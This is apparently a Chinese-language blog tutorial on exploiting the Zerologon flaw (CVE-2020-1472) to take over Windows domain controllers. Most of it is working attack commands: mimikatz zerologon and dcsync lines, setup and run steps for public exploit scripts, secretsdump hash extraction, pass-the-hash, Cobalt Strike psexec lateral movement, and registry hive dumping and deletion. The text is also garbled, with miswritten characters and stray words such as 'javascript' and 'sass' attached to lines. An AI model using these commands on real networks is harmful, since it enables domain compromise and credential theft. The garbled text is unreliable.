CVE-2020-1472是继MS17010以后一个比较好用的内网提权漏洞,影响Windows Server 2008R 2至Windows Server 2019的多个版本系统,只要攻击者能访问到目标域控井且知道域控计算机名便可利用该漏洞.该漏洞不要求当前计算机在域内,也不要求当前计算机操做系统为windows,该漏洞的稳定利用方式为重置目标域控的密码, 而后利用城控凭证进行Dc sync获取域管权限后修复域控密码,之因此不直接使用坏控凭证远程执行命令,是由于城控帐户是不能够登陆的,可是域控具有Dc sync权限, 能够获取域内任意用户的凭证。javascript
漏洞利用过程当中会重置域控存储在域中(ntds.dit)的凭证,而域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时,会致使目标域控脱域,因此在重置完域控凭证后要尽快恢复。java
管理员权限运行Mimikatz
python
# 提高权限 privilege::debug # 检测是否存在漏洞 lsadump::zerologon /target:<dc-ip> /account:<主机名>$ # 重置密码 lsadump::zerologon /target:<dc-ip> /account:<主机名>$ /exploit # 导出域管hash lsadump::dcsync /domain:<domain> /dc:<DC server> /user:<想要导出hash的user,如:administrator> /authuser:<计算机名>$ /authdomain:<domain> /authpassword:"" /authntlm 例如: lsadump::dcsync /domain:de1ay.com /dc:dc.de1ay.com /user:krbtgt /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm
这个工具好在会直接利用会返回域管的hash,更快速一点,不过须要新版impacket
比较麻烦。git
原文:https://blog.zsec.uk/zerologon-attacking-defending/github
工具连接:https://github.com/bb00/zer0dumpwindows
git clone https://github.com/bb00/zer0dump.git cd zer0dump-master && pip3 install -r requirements.txt
每攻击256次会有一次起做用,但还要排除0.04%的虚假利用状况,因此会最大尝试2000次保证成功,当返回值为0时表明利用成功。这会致使 account's password
变为空字符串进而利用PTH
等方法进一步操做。sass
利用:执行成功后会返回管理员用户的帐号和hash服务器
python3 zer0dump.py <target-ip>
"该漏洞利用程序将域中的NTDS.dit(保留了该域上全部用户的全部NTLM哈希值)/tmp/dumped.tmp.ntds转储到域,并利用秘密转储来转出本地管理员密码,如上所示。此外,因为返回的错误代码为零,所以咱们能够看到该漏洞利用成功。管理员的哈希值已设置为空白字符串"
排坑:dom
0x01 报错:AttributeError: module ‘impacket.dcerpc.v5.nrpc’ has no attribute ‘NetrServerPasswordSet2 ’
工具
解决:从新安装最新版本的impacket
git clone https://github.com/SecureAuthCorp/impacketcd cd impacket pip install .
连接:https://github.com/VoidSec/CVE-2020-1472
python3 cve-2020-1472-exploit.py <主机名> 192.168.159.149 # 主机名也就是扫出的机器名称,对应的会有一个主机名$帐户
python3 secretsdump.py <domain>/<主机名>\$@<dc-ip> -no-pass proxychains python3 secretsdump.py <domain>/<主机名>\$@<dc-ip> -no-pass > hashes.txt
当知道target ip
、帐户和 帐户hash且有一台内网的机器权限时如何快速上线。
固然这里也能够用本身喜欢的方式。
前提
有一台可通target ip
的cs上线机器
已知target ip
的帐户和hash
首先 Add
一个监听器,Name
随意, TCP Beacon
view --> targets --> Add
添加目标
完成后在targets
标签页里,或点击 选择刚才添加的
target
,右键 --> Jump --> psexec_psh
填写相应user
,该user
的password hash
,所在Domain
,Listener
选择刚才添加的 TCP Beacon
,Session
选择可访问此targe
t的内网cs上线的机器,点击Launch
就上线了。
这个新生成的会话会带用下图红框标注的标记,这表明是从以前内网cs上线的机器的Session
派生出的新Session
,当内网的机器cs掉了这个会话也就掉了
privilege::debug sekurlsa::pth /user:administrator /domain:<domain> /rc4:<NTLM hash> 以后会弹出一个cmd
这里由于以前经过NetLogon将帐号hash置为空,后续得到域管hash后须要赶忙将以前在SAM文件保存的hash去恢复,不然会脱域。
保存 sam.save 、security.save 、 system.save
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save # 获取文件路径 get system.saveget sam.save get security.save # 删除文件 del /f system.save del /f sam.save del /f security.save
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
经过拿到 $MACHINE.ACC: 的值,而后进行恢复:注意只有后半部分:
python3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca
python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -just-dc-no-pass python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -no-pass # 四个空格
如何寻找域控计算机名?
# 不在域内 nbtscan扫描 nmap smb嗅探 nslookup <域控ip> 有时dns服务器也搭在域控上 # 在域内 命令查询
https://cloud.tencent.com/developer/article/1780108
https://github.com/VoidSec/CVE-2020-1472
https://github.com/bb00/zer0dump